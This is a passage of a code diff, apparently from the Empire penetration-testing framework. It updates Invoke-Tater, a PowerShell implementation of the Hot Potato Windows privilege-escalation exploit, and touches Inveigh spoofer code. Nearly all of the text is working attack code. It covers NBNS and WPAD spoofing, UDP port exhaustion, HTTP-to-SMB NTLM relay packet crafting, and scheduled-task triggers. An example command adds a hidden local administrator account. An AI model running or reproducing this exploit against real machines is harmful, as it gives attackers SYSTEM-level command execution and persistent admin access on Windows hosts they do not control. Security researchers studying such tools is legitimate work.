write-warning $inveigh.console_queue[0]
}
$inveigh.console_queue.RemoveRange(0,1)
}
"* relay *"
"* for relay *"
{
write-warning $inveigh.console_queue[0]
$inveigh.console_queue.RemoveRange(0,1)
}
"Service *"
"*SMB relay *"
{
write-warning $inveigh.console_queue[0]
$inveigh.console_queue.RemoveRange(0,1)
}
"* local administrator *"
{
write-warning $inveigh.console_queue[0]
$inveigh.console_queue.RemoveRange(0,1)
@ -1327,4 +1475,4 @@ if(!$inveigh.running -and $inveigh.console_output)
}
}
}
}

View File

@ -5,10 +5,10 @@ Function Invoke-Tater
Invoke-Tater is a PowerShell implementation of the Hot Potato Windows Privilege Escalation exploit from @breenmachine and @foxglovesec.
.DESCRIPTION
Invoke-Tater is a PowerShell implementation of the Hot Potato Windows Privilege Escalation exploit from @breenmachine and @foxglovesec. It has functionality similiar to Potato.exe available at https://github.com/foxglovesec/Potato.
Invoke-Tater is a PowerShell implementation of the Hot Potato Windows Privilege Escalation with functionality similiar to Potato.exe available at https://github.com/foxglovesec/Potato.
.PARAMETER IP
Specify a specific local IP address.
Specify a specific local IP address. An IP address will be selected automatically if this parameter is not used.
.PARAMETER SpooferIP
Specify an IP address for NBNS spoofing. This is needed when using two hosts to get around an in-use port 80 on the privesc target.
@ -23,16 +23,16 @@ Default = Enabled: (Y/N) Enable/Disable NBNS bruteforce spoofing.
Default = Enabled: (Y/N) Enable/Disable NBNS bruteforce spoofer limiting to stop NBNS spoofing while hostname is resolving correctly.
.PARAMETER ExhaustUDP
Default = Disabled: Enable/Disable UDP port exhaustion to force all DNS lookups to fail in order to fallback to NBNS resolution.
Default = Disabled: (Y/N) Enable/Disable UDP port exhaustion to force all DNS lookups to fail in order to fallback to NBNS resolution.
.PARAMETER HTTPPort
Default = 80: Specify a TCP port for HTTP listener and redirect response.
Default = 80: Specify a TCP port for the HTTP listener and redirect response.
.PARAMETER Hostname
Default = WPAD: Hostname to spoof. "WPAD.DOMAIN.TLD" is required by Windows Server 2008.
Default = WPAD: Hostname to spoof. WPAD.DOMAIN.TLD may be required by Windows Server 2008.
.PARAMETER WPADDirectHosts
Comma separated list of hosts to list as direct in the wpad.dat file. Note that 'localhost' is always listed as direct.
Comma separated list of hosts to list as direct in the wpad.dat file. Note that localhost is always listed as direct.
.PARAMETER WPADPort
Default = 80: Specify a proxy server port to be included in a the wpad.dat file.
@ -40,20 +40,20 @@ Default = 80: Specify a proxy server port to be included in a the wpad.dat file.
.PARAMETER Trigger
Default = 1: Trigger type to use in order to trigger HTTP to SMB relay. 0 = None, 1 = Windows Defender Signature Update, 2 = Windows 10 Webclient/Scheduled Task
.PARAMETER TaskDelete
Default = Tater: (Y/N) Enable/Disable scheduled task deletion for trigger 2. If enabled, a random string will be added to the taskname to avoid failures after multiple trigger 2 runs.
.PARAMETER Taskname
Default = omg: Scheduled task name to use with trigger 2.
Default = Tater: Scheduled task name to use with trigger 2. If you observe that Tater does not work after multiple trigger 2 runs, try changing the taskname.
.PARAMETER RunTime
(Integer) Set the run time duration in minutes.
.PARAMETER ConsoleOutput
Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell.
.PARAMETER FileOutput
Default = Disabled: (Y/N) Enable/Disable real time file output.
Default = Enabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell.
.PARAMETER StatusOutput
Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages.
Default = Enabled: (Y/N) Enable/Disable startup status messages.
.PARAMETER ShowHelp
Default = Enabled: (Y/N) Enable/Disable the help messages at startup.
@ -62,11 +62,10 @@ Default = Enabled: (Y/N) Enable/Disable the help messages at startup.
Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire
.EXAMPLE
Invoke-Tater -Command "net user Dave Winter2016 /add && net localgroup administrators Dave /add"
Invoke-Tater -Command "net user Tater Spring2016 /add && net localgroup administrators Tater /add"
.LINK
https://github.com/Kevin-Robertson/Tater
#>
# Default parameter values can be modified in this section
@ -78,6 +77,7 @@ param
[parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ConsoleOutput="Y",
[parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$StatusOutput="Y",
[parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ShowHelp="Y",
[parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$TaskDelete="Y",
[parameter(Mandatory=$false)][ValidateSet("0","1","2")][string]$Tool="0",
[parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$IP="",
[parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SpooferIP="127.0.0.1",
@ -99,7 +99,7 @@ if ($invalid_parameter)
if(!$IP)
{
$IP = (Test-Connection 127.0.0.1 -count 1 | select -ExpandProperty Ipv4Address)
$IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address)
}
if(!$Command)
@ -107,25 +107,18 @@ if(!$Command)
Throw "You must specify an -Command if enabling -SMBRelay"
}
if(!$tater)
{
$global:tater = [hashtable]::Synchronized(@{})
}
if($tater.running)
{
Throw "Invoke-Tater is already running, use Stop-Tater"
}
$global:tater = [hashtable]::Synchronized(@{})
$tater.running = $true
$tater.console_queue = New-Object System.Collections.ArrayList
$tater.status_queue = New-Object System.Collections.ArrayList
$tater.console_output = $true
$tater.console_input = $true
$tater.running = $true
$tater.exhaust_UDP_running = $false
$tater.hostname_spoof = $false
$tater.SMB_relay_active_step = 0
$tater.SMB_relay = $true
$tater.trigger = $Trigger
if($StatusOutput -eq 'y')
@ -216,8 +209,20 @@ elseif($Trigger -eq 1)
elseif($Trigger -eq 2)
{
$tater.status_queue.add("Scheduled Task Trigger Enabled")|Out-Null
$tater.status_queue.add("Scheduled Task = $Taskname")|Out-Null
$tater.taskname = $Taskname
$tater.taskname = $Taskname -replace " ","_"
if($TaskDelete -eq 'y')
{
$tater.status_queue.add("Scheduled Task Prefix = $Taskname")|Out-Null
$tater.status_queue.add("Scheduled Task Deletion Enabled")|Out-Null
$tater.task_delete = $true
}
else
{
$tater.status_queue.add("Scheduled Task = $Taskname")|Out-Null
$tater.status_queue.add("Scheduled Task Deletion Disabled")|Out-Null
$tater.task_delete = $false
}
}
if($ConsoleOutput -eq 'y')
@ -267,28 +272,16 @@ if($tater.status_output)
}
}
$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() |select -expand id
$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id
$process_ID = [BitConverter]::ToString([BitConverter]::GetBytes($process_ID))
$process_ID = $process_ID -replace "-00-00",""
[Byte[]]$tater.process_ID_bytes = $process_ID.Split("-") | FOREACH{[CHAR][CONVERT]::toint16($_,16)}
[Byte[]]$tater.process_ID_bytes = $process_ID.Split("-") | ForEach-Object{[CHAR][CONVERT]::toint16($_,16)}
# Begin ScriptBlocks
# Shared Basic Functions ScriptBlock
$shared_basic_functions_scriptblock =
{
Function DataToUInt16($field)
{
[Array]::Reverse($field)
return [BitConverter]::ToUInt16($field,0)
}
Function DataToUInt32($field)
{
[Array]::Reverse($field)
return [BitConverter]::ToUInt32($field,0)
}
Function DataLength
{
param ([int]$length_start,[byte[]]$string_extract_data)
@ -303,7 +296,7 @@ $shared_basic_functions_scriptblock =
$string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length-1)])
$string_data = $string_data -replace "-00",""
$string_data = $string_data.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
$string_data = $string_data.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
$string_extract = New-Object System.String ($string_data,0,$string_data.Length)
return $string_extract
}
@ -324,9 +317,9 @@ $shared_basic_functions_scriptblock =
[DNSAPI.Flush]::FlushResolverCache()
}
Function HTTPListenerStop
Function StopTater
{
$tater.console_queue.add("$(Get-Date -format 's') - Attempting to stop HTTP listener")
$tater.console_queue.add("$(Get-Date -format 's') - Stopping HTTP listener")
$tater.HTTP_client.Close()
start-sleep -s 1
$tater.HTTP_listener.server.blocking = $false
@ -334,6 +327,58 @@ $shared_basic_functions_scriptblock =
$tater.HTTP_listener.server.Close()
Start-Sleep -s 1
$tater.HTTP_listener.Stop()
if($tater.SMBRelay_success)
{
if($tater.trigger -eq 2)
{
if($tater.task_delete -and $tater.task_added)
{
$scheduled_task_deleted = $false
$schedule_service = new-object -com("Schedule.Service")
$schedule_service.connect()
$scheduled_task_folder = $schedule_service.getfolder("\")
$scheduled_task_list = $scheduled_task_folder.gettasks(1)
foreach($scheduled_task in $scheduled_task_list)
{
if($scheduled_task.name -eq $tater.task)
{
$scheduled_task_folder.DeleteTask($scheduled_task.name,0)
}
}
ForEach($scheduled_task in $scheduled_task_list)
{
if($scheduled_task.name -eq $tater.task)
{
$scheduled_task_deleted = $true
}
}
if($scheduled_task_deleted)
{
$tater.console_queue.add("$(Get-Date -format 's') - Scheduled task " + $tater.task + " deleted successfully")
}
else
{
$tater.console_queue.add("$(Get-Date -format 's') - Scheduled task " + $tater.task + " deletion failed, remove manually")
}
}
elseif($tater.task_added)
{
$tater.console_queue.add("$(Get-Date -format 's') - Remove scheduled task " + $tater.task + " manually when finished")
}
}
$tater.console_queue.add("$(Get-Date -format 's') - Tater was successful and has exited")
}
else
{
$tater.console_queue.add("$(Get-Date -format 's') - Tater was not successful and has exited")
}
Start-Sleep -s 1
$tater.running = $false
}
}
@ -386,19 +431,15 @@ $SMB_relay_challenge_scriptblock =
}
1 {
$SMB_length_1 = '0x{0:X2}' -f ($HTTP_request_bytes.length + 32)
$SMB_length_2 = '0x{0:X2}' -f ($HTTP_request_bytes.length + 22)
$SMB_length_3 = '0x{0:X2}' -f ($HTTP_request_bytes.length + 2)
$SMB_NTLMSSP_length = '0x{0:X2}' -f ($HTTP_request_bytes.length)
$SMB_blob_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length))
$SMB_blob_length = $SMB_blob_length -replace "-00-00",""
$SMB_blob_length = $SMB_blob_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_blob_length = $SMB_blob_length.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_byte_count = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 28))
$SMB_byte_count = $SMB_byte_count -replace "-00-00",""
$SMB_byte_count = $SMB_byte_count.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_byte_count = $SMB_byte_count.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_netbios_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 87))
$SMB_netbios_length = $SMB_netbios_length -replace "-00-00",""
$SMB_netbios_length = $SMB_netbios_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_netbios_length = $SMB_netbios_length.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
[array]::Reverse($SMB_netbios_length)
[Byte[]] $SMB_relay_challenge_send = (0x00,0x00)`
@ -443,13 +484,13 @@ $SMB_relay_response_scriptblock =
$SMB_blob_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length))
$SMB_blob_length = $SMB_blob_length -replace "-00-00",""
$SMB_blob_length = $SMB_blob_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_blob_length = $SMB_blob_length.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_byte_count = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 28))
$SMB_byte_count = $SMB_byte_count -replace "-00-00",""
$SMB_byte_count = $SMB_byte_count.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_byte_count = $SMB_byte_count.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_netbios_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 88))
$SMB_netbios_length = $SMB_netbios_length -replace "-00-00",""
$SMB_netbios_length = $SMB_netbios_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_netbios_length = $SMB_netbios_length.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
[array]::Reverse($SMB_netbios_length)
$j = 0
@ -496,17 +537,17 @@ $SMB_relay_execute_scriptblock =
$SMB_relay_failed = $false
$SMB_relay_execute_bytes = New-Object System.Byte[] 1024
$SMB_service_random = [String]::Join("00-", (1..20 | % {"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)}))
$SMB_service_random = [String]::Join("00-", (1..20 | ForEach-Object{"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)}))
$SMB_service = $SMB_service_random -replace "-00",""
$SMB_service = $SMB_service.Substring(0,$SMB_service.Length-1)
$SMB_service = $SMB_service.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_service = $SMB_service.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_service = New-Object System.String ($SMB_service,0,$SMB_service.Length)
$SMB_service_random += '00-00-00'
[Byte[]]$SMB_service_bytes = $SMB_service_random.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_referent_ID_bytes = [String](1..4 | % {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
$SMB_referent_ID_bytes = $SMB_referent_ID_bytes.Split(" ") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
[Byte[]]$SMB_service_bytes = $SMB_service_random.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_referent_ID_bytes = [String](1..4 | ForEach-Object{"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
$SMB_referent_ID_bytes = $SMB_referent_ID_bytes.Split(" ") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
$Command = "%COMSPEC% /C `"" + $Command + "`""
[System.Text.Encoding]::ASCII.GetBytes($Command) | % { $SMB_relay_command += "{0:X2}-00-" -f $_ }
[System.Text.Encoding]::UTF8.GetBytes($Command) | ForEach-Object{ $SMB_relay_command += "{0:X2}-00-" -f $_ }
if([bool]($Command.length%2))
{
@ -517,7 +558,7 @@ $SMB_relay_execute_scriptblock =
$SMB_relay_command += '00-00-00-00'
}
[Byte[]]$SMB_relay_command_bytes = $SMB_relay_command.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
[Byte[]]$SMB_relay_command_bytes = $SMB_relay_command.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_service_data_length_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length + $SMB_service_bytes.length + 237)
$SMB_service_data_length_bytes = $SMB_service_data_length_bytes[2..0]
$SMB_service_byte_count_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length + $SMB_service_bytes.length + 237 - 63)
@ -722,7 +763,6 @@ $SMB_relay_execute_scriptblock =
elseif((!$SMB_relay_failed) -and ($k -eq 9))
{
$tater.console_queue.add("$(Get-Date -format 's') - Command likely executed on $SMBRelayTarget")
$tater.SMB_relay = $false
}
elseif((!$SMB_relay_failed) -and ($k -eq 11))
{
@ -756,7 +796,7 @@ $SMB_relay_execute_scriptblock =
}
}
# HTTP/HTTPS Server ScriptBlock - HTTP/HTTPS listener
# HTTP Server ScriptBlock - HTTP listener
$HTTP_scriptblock =
{
param ($Command,$HTTPPort,$WPADDirectHosts,$WPADPort)
@ -767,7 +807,7 @@ $HTTP_scriptblock =
$HTTP_timestamp = Get-Date
$HTTP_timestamp = $HTTP_timestamp.ToFileTime()
$HTTP_timestamp = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_timestamp))
$HTTP_timestamp = $HTTP_timestamp.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
$HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
[byte[]]$HTTP_NTLM_bytes = (0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38,0x00,0x00,0x00,0x05,0xc2,0x89,0xa2)`
+ $HTTP_challenge_bytes`
@ -789,30 +829,30 @@ $HTTP_scriptblock =
$SMBRelayTarget = "127.0.0.1"
$HTTP_port_bytes = [System.Text.Encoding]::ASCII.GetBytes($HTTPPort)
$HTTP_port_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTPPort)
$WPADDirectHosts += "localhost"
$HTTP_content_length = $WPADPort.length + 62
foreach($WPAD_direct_host in $WPADDirectHosts)
ForEach($WPAD_direct_host in $WPADDirectHosts)
{
$HTTP_content_length += $WPAD_direct_host.length + 43
$HTTP_content_length_bytes = [System.Text.Encoding]::ASCII.GetBytes($HTTP_content_length)
$WPAD_direct_host_bytes = [System.Text.Encoding]::ASCII.GetBytes($WPAD_direct_host)
$HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_content_length)
$WPAD_direct_host_bytes = [System.Text.Encoding]::UTF8.GetBytes($WPAD_direct_host)
$WPAD_direct_host_function_bytes = (0x69,0x66,0x20,0x28,0x64,0x6e,0x73,0x44,0x6f,0x6d,0x61,0x69,0x6e,0x49,0x73,0x28,0x68,0x6f,0x73,0x74,0x2c,0x20,0x22)`
+ $WPAD_direct_host_bytes`
+(0x22,0x29,0x29,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x22,0x44,0x49,0x52,0x45,0x43,0x54,0x22,0x3b)
$WPAD_direct_hosts_bytes += $WPAD_direct_host_function_bytes
}
$WPAD_port_bytes = [System.Text.Encoding]::ASCII.GetBytes($WPADPort)
$WPAD_port_bytes = [System.Text.Encoding]::UTF8.GetBytes($WPADPort)
:HTTP_listener_loop while ($tater.running)
{
if($tater.SMBRelay_success)
{
HTTPListenerStop
StopTater
}
$TCP_request = $NULL
@ -831,7 +871,7 @@ $HTTP_scriptblock =
if($tater.SMBRelay_success)
{
HTTPListenerStop
StopTater
}
}
@ -851,7 +891,7 @@ $HTTP_scriptblock =
if($TCP_request -like "47-45-54-20*" -or $TCP_request -like "48-45-41-44-20*" -or $TCP_request -like "4f-50-54-49-4f-4e-53-20*")
{
$HTTP_raw_URL = $TCP_request.Substring($TCP_request.IndexOf("-20-") + 4,$TCP_request.Substring($TCP_request.IndexOf("-20-") + 1).IndexOf("-20-") - 3)
$HTTP_raw_URL = $HTTP_raw_URL.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
$HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
$tater.request_RawUrl = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length)
if($tater.request_RawUrl -eq "")
@ -864,7 +904,7 @@ $HTTP_scriptblock =
{
$HTTP_authorization_header = $TCP_request.Substring($TCP_request.IndexOf("-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-") + 46)
$HTTP_authorization_header = $HTTP_authorization_header.Substring(0,$HTTP_authorization_header.IndexOf("-0D-0A-"))
$HTTP_authorization_header = $HTTP_authorization_header.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
$HTTP_authorization_header = $HTTP_authorization_header.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
$authentication_header = New-Object System.String ($HTTP_authorization_header,0,$HTTP_authorization_header.Length)
}
else
@ -933,7 +973,7 @@ $HTTP_scriptblock =
if ($HTTP_request_bytes[8] -eq 1)
{
if($tater.SMB_relay -and $tater.SMB_relay_active_step -eq 0)
if($tater.SMB_relay_active_step -eq 0)
{
$tater.SMB_relay_active_step = 1
$tater.console_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay triggered by " + $tater.HTTP_client.Client.RemoteEndpoint.Address)
@ -1025,8 +1065,7 @@ $HTTP_scriptblock =
$HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_length $HTTP_NTLM_domain_length 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes
$HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_length $HTTP_NTLM_domain_length $HTTP_NTLM_user_length $HTTP_NTLM_domain_offset $HTTP_request_bytes
}
$NTLM_type = "NTLMv2"
$NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-",""
$NTLM_response = $NTLM_response.Insert(32,':')
@ -1034,7 +1073,7 @@ $HTTP_scriptblock =
$HTTP_response_phrase = (0x4f,0x4b)
$NTLM_challenge = ''
if (($tater.SMB_relay) -and ($tater.SMB_relay_active_step -eq 3))
if ($tater.SMB_relay_active_step -eq 3)
{
$tater.console_queue.add("$(Get-Date -format 's') - Sending response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $SMBRelaytarget")
$SMB_relay_response_return_bytes = SMBRelayResponse $SMB_relay_socket $HTTP_request_bytes $SMB_user_ID
@ -1178,7 +1217,7 @@ $exhaust_UDP_scriptblock =
try
{
$host_lookup = [System.Net.Dns]::GetHostEntry("microsoft.com")
[System.Net.Dns]::GetHostEntry("microsoft.com")
}
catch
{
@ -1189,7 +1228,7 @@ $exhaust_UDP_scriptblock =
$tater.console_queue.add("$(Get-Date -format 's') - DNS lookup succeeded so UDP exhaustion failed")
foreach ($UDP_port in $UDP_failed_ports_list)
ForEach ($UDP_port in $UDP_failed_ports_list)
{
try
{
@ -1217,10 +1256,10 @@ $spoofer_scriptblock =
[Byte[]]$hostname_bytes = (0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x41,0x41,0x00)
$hostname_encoded = [System.Text.Encoding]::ASCII.GetBytes($Hostname)
$hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($Hostname)
$hostname_encoded = [System.BitConverter]::ToString($hostname_encoded)
$hostname_encoded = $hostname_encoded.Replace("-","")
$hostname_encoded = [System.Text.Encoding]::ASCII.GetBytes($hostname_encoded)
$hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($hostname_encoded)
for ($i=0; $i -lt $hostname_encoded.Count; $i++)
{
@ -1286,19 +1325,6 @@ $tater_scriptblock =
{
param ($NBNS,$NBNSLimit,$RunTime,$SpooferIP,$Hostname,$HTTPPort)
Function HTTPListenerStop
{
$tater.console_queue.add("$(Get-Date -format 's') - Attempting to stop HTTP listener")
$tater.HTTP_client.Close()
start-sleep -s 1
$tater.HTTP_listener.server.blocking = $false
Start-Sleep -s 1
$tater.HTTP_listener.server.Close()
Start-Sleep -s 1
$tater.HTTP_listener.Stop()
$tater.running = $false
}
if($RunTime)
{
$tater_timeout = new-timespan -Minutes $RunTime
@ -1313,7 +1339,10 @@ $tater_scriptblock =
{
$Hostname_IP = [System.Net.Dns]::GetHostEntry($Hostname).AddressList[0].IPAddressToString
}
catch{}
catch
{
# Don't need output for this
}
if($Hostname_IP -eq $SpooferIP)
{
@ -1360,43 +1389,51 @@ $tater_scriptblock =
if($service_webclient.Status -eq 'Stopped')
{
$tater.console_queue.add("$(Get-Date -format 's') - Starting WebClient service")
$process_webclient = Start-Process -FilePath "cmd.exe" -Argument "/C pushd \\live.sysinternals.com\tools" -WindowStyle Hidden -passthru -Wait
Start-Process -FilePath "cmd.exe" -Argument "/C pushd \\live.sysinternals.com\tools" -WindowStyle Hidden -passthru -Wait
}
if($service_webclient.Status -eq 'Running' -and !$scheduled_task_added -and !$tater.SMBRelay_success)
if($service_webclient.Status -eq 'Running' -and !$tater.task_added -and !$tater.SMBRelay_success)
{
$timestamp_add = (Get-Date).AddMinutes(1)
$timestamp_add_string = $timestamp_add.ToString("HH:mm")
$tater.console_queue.add("$(Get-Date -format 's') - Adding scheduled task " + $tater.taskname)
$process_scheduled_task = "/C schtasks.exe /Create /TN " + $tater.taskname + " /TR \\127.0.0.1@$HTTPPort\test /SC ONCE /ST $timestamp_add_string /F"
$tater.task = $tater.taskname
if($tater.task_delete)
{
$tater.task += "_"
$tater.task += Get-Random
}
$tater.console_queue.add("$(Get-Date -format 's') - Adding scheduled task " + $tater.task)
$process_scheduled_task = "/C schtasks.exe /Create /TN " + $tater.task + " /TR \\127.0.0.1@$HTTPPort\test /SC ONCE /ST $timestamp_add_string /F"
Start-Process -FilePath "cmd.exe" -Argument $process_scheduled_task -WindowStyle Hidden -passthru -Wait
$schedule_service = new-object -com("Schedule.Service")
$schedule_service.connect()
$scheduled_task_list = $schedule_service.getfolder("\").gettasks(1)
$scheduled_task_added = $false
$tater.task_added = $false
foreach($scheduled_task in $scheduled_task_list)
ForEach($scheduled_task in $scheduled_task_list)
{
if($scheduled_task.name -eq $tater.taskname)
if($scheduled_task.name -eq $tater.task)
{
$scheduled_task_added = $true
$tater.task_added = $true
}
}
$schedule_service.Quit()
if(!$scheduled_task_added -and !$tater.SMBRelay_success)
if(!$tater.task_added -and !$tater.SMBRelay_success)
{
$tater.console_queue.add("$(Get-Date -format 's') - Adding scheduled task " + $tater.taskname + " failed")
HTTPListenerStop
$tater.console_queue.add("$(Get-Date -format 's') - Adding scheduled task " + $tater.task + " failed")
StopTater
}
}
elseif($scheduled_task_added -and (Get-Date) -ge $timestamp_add.AddMinutes(2))
elseif($tater.task_added -and (Get-Date) -ge $timestamp_add.AddMinutes(2))
{
$tater.console_queue.add("$(Get-Date -format 's') - Something went wrong with the service")
HTTPListenerStop
StopTater
}
}
@ -1409,7 +1446,7 @@ $tater_scriptblock =
{
if($tater_stopwatch.elapsed -ge $tater_timeout)
{
HTTPListenerStop
StopTater
}
}
@ -1417,7 +1454,7 @@ $tater_scriptblock =
}
}
# HTTP/HTTPS Listener Startup Function
# HTTP Listener Startup Function
Function HTTPListener()
{
if($WPADPort -eq '80')
@ -1442,7 +1479,7 @@ Function HTTPListener()
$HTTP_powershell.AddScript($SMB_relay_execute_scriptblock) > $null
$HTTP_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null
$HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Command).AddArgument($HTTPPort).AddArgument($WPADDirectHosts).AddArgument($WPADPort) > $null
$HTTP_handle = $HTTP_powershell.BeginInvoke()
$HTTP_powershell.BeginInvoke() > $null
}
# Exhaust UDP Startup Function
@ -1455,7 +1492,7 @@ Function ExhaustUDP()
$exhaust_UDP_powershell.Runspace = $exhaust_UDP_runspace
$exhaust_UDP_powershell.AddScript($shared_basic_functions_scriptblock) > $null
$exhaust_UDP_powershell.AddScript($exhaust_UDP_scriptblock) > $null
$exhaust_UDP_handle = $exhaust_UDP_powershell.BeginInvoke()
$exhaust_UDP_powershell.BeginInvoke() > $null
}
# Spoofer Startup Function
@ -1469,7 +1506,7 @@ Function Spoofer()
$spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null
$spoofer_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null
$spoofer_powershell.AddScript($spoofer_scriptblock).AddArgument($IP).AddArgument($SpooferIP).AddArgument($Hostname).AddArgument($NBNSLimit) > $null
$spoofer_handle = $spoofer_powershell.BeginInvoke()
$spoofer_powershell.BeginInvoke() > $null
}
# Tater Loop Function
@ -1480,8 +1517,9 @@ Function TaterLoop()
$tater_runspace.SessionStateProxy.SetVariable('tater',$tater)
$tater_powershell = [powershell]::Create()
$tater_powershell.Runspace = $tater_runspace
$tater_powershell.AddScript($shared_basic_functions_scriptblock) > $null
$tater_powershell.AddScript($tater_scriptblock).AddArgument($NBNS).AddArgument($NBNSLimit).AddArgument($RunTime).AddArgument($SpooferIP).AddArgument($Hostname).AddArgument($HTTPPort) > $null
$tater_handle = $tater_powershell.BeginInvoke()
$tater_powershell.BeginInvoke() > $null
}
# HTTP Server Start
@ -1504,12 +1542,11 @@ TaterLoop
if($tater.console_output)
{
:console_loop while($tater.running -and $tater.console_output)
{
while($tater.console_queue.Count -gt 0)
{
write-output($tater.console_queue[0] + $tater.newline)
Write-Output($tater.console_queue[0] + $tater.newline)
$tater.console_queue.RemoveRange(0,1)
}
@ -1524,25 +1561,11 @@ if($tater.console_output)
Start-Sleep -m 5
}
}
if(!$tater.running)
{
if($tater.SMBRelay_success)
{
if($trigger -eq 2)
{
Write-Output "$(Get-Date -format 's') - Remove scheduled task $Taskname manually when finished"
}
Write-Output "$(Get-Date -format 's') - Tater was successful and has exited"
}
else
if(!$tater.running)
{
Write-Output "$(Get-Date -format 's') - Tater was not successful and has exited"
Remove-Variable tater -scope global
}
Remove-Variable tater -scope global
}
}

View File

@ -9,9 +9,9 @@ class Module:
'Author': ['Kevin Robertson'],
'Description': ('Inveigh is a Windows PowerShell LLMNR/NBNS spoofer designed to '
'assist penetration testers that find themselves limited to a '
'Windows system. '),
'Description': ('Inveigh is a Windows PowerShell LLMNR/NBNS spoofer/man-in-the-middle '
'tool designed to assist penetration testers that find themselves '
'limited to a Windows system.'),
'Background' : True,
@ -38,12 +38,37 @@ class Module:
'Value' : ''
},
'IP' : {
'Description' : 'Specific local IP address for listening.',
'Description' : 'Specific local IP address for listening. This IP address will also be used for LLMNR/NBNS spoofing if the SpooferIP parameter is not set.',
'Required' : False,
'Value' : ''
},
'SpooferIP' : {
'Description' : 'Specific IP address for LLMNR/NBNS spoofing.',
